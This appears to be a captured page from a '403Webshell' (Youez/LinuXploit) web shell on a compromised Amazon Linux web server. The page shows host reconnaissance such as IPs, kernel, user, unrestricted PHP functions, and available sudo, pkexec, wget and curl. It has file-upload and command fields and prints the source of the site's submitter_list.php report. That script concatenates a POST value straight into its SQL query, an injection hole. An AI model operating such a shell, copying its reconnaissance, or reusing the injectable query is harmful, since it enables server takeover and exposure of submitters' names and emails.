403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewdev/admin/rpt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewdev/admin/rpt/submitter_list.php
<?php include('mod/_mod_security.php'); ?>
<?php
	$filter = '';
	switch ($_POST['sl_sort_rank'] ?? '') :
		case 'Name':
			$sort_rank = 'e.submitted_name ASC';
			$filter .= '<br> Primary Sort/Rank: ' . 'Name';
			break;
		case 'Email':
			$sort_rank = 'e.submitted_email ASC';
			$filter .= '<br> Primary Sort/Rank: ' . 'Email';
			break;
		default:
			$sort_rank = 'e.submitted_name ASC';
			$filter .= '<br> Primary Sort/Rank: ' . 'Name';
	endswitch;
	$minimum_event_submitted = nz($_POST['sl_min_event_count'], '1');
	$having_criteria =  'HAVING COUNT(DISTINCT e.id) >= ' . $minimum_event_submitted;
	$filter .= '<br> Minimum Events Submitted: ' . $minimum_event_submitted;

	$sql = "SELECT
		e.submitted_name,
		e.submitted_email,
		COUNT(e.id) AS event_count
		FROM events e
		WHERE e.submitted_name > '' OR e.submitted_email > ''
		GROUP BY e.submitted_name, e.submitted_email
		$having_criteria
		ORDER BY $sort_rank
	";
	//error_log($sql);
	$result = $db->query($sql) or die('Database Error!');
	$row_count = $result->rowCount();
	if ($row_count <= 0) :
		echo 'No data for report!';
		exit();
	endif;
	
	$rpt = get_report_class($_POST['output_format']);
	$rpt->set_report_title('Submitter List');
	$rpt->report_start();
	
	$rpt->header_start();
	if (!empty($filter)) :
		$rpt->header_row_start();
		$rpt->header_cell_add('Filters: '.$filter, ['colspan'=>'3', 'class'=>'large']);
		$rpt->header_row_end();
	endif;
	$rpt->header_row_start();
	$rpt->header_cell_add('Submitter Name', ['width'=>'200']);
	$rpt->header_cell_add('Submitter Email', ['width'=>'200']);
	$rpt->header_cell_add('Events Submitted', ['width'=>'150']);
	$rpt->header_row_end();
	$rpt->header_end();
	
	$rpt->data_start();
	$rows = $result->fetchAll(PDO::FETCH_OBJ);
	$total_events = array_sum(array_column($rows, 'event_count'));
	foreach ($rows as $row) :
		$rpt->data_row_start();
		$rpt->data_cell_add($row->submitted_name);
		$rpt->data_cell_add($row->submitted_email);
		$rpt->data_cell_add($row->event_count, ['align'=>'right']);
		$rpt->data_row_end();
	endforeach;
	$rpt->data_row_start();
	$rpt->data_cell_add('Totals', ['style' => 'font-size:125%; font-weight:bold;']);
	$rpt->data_cell_add(count($rows), ['align'=>'right', 'style' => 'font-size:125%; font-weight:bold;']);
	$rpt->data_cell_add($total_events, ['align'=>'right', 'style' => 'font-size:125%; font-weight:bold;']);
	$rpt->data_row_end();
	$rpt->data_end();
	
	$rpt->report_end();
	$rpt->output_report();

Youez - 2016 - github.com/yon3zu
LinuXploit